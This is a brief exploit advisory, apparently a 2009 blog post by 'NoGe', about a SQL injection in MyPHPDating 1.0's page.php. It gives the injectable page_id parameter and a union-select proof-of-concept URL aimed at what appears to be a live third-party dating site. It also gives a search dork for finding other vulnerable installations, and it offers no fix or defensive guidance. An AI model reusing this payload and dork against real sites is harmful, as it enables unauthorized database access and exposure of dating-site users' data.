MyPHPDating 1.0 SQL Injection Vuln  

Thursday, July 2, 2009


[o] MyPHPDating 1.0 SQL Injection Vulnerability

Software : MyPHPDating version 1.0
Vendor : http://www.phponlinedatingsoftware.com/
Demo : http://www.phponlinedatingsoftware.com/demo.htm
Author : NoGe


[o] Description
MyPHPDating 1.0 is a full-featured version of our online dating / Matchmaking software.
It combines all the features of any standard online dating / Matchmaking website plus much more features,
that make your dating website very powerful and easy to use.

[o] Vulnerable file
page.php

[o] Exploit
http://localhost/[path]/page.php?page_id=[SQL]

[o] Proof Of Concept
http://thaigirllover.com/page.php?page_id=-1+union+select+1,2,3,concat(@@version,0x3c3e,database())--

[o] Dork
"Powered by MyPHPDating"



AddThis Social Bookmark Button


[d]esign by Amanda [e]dited by NoGe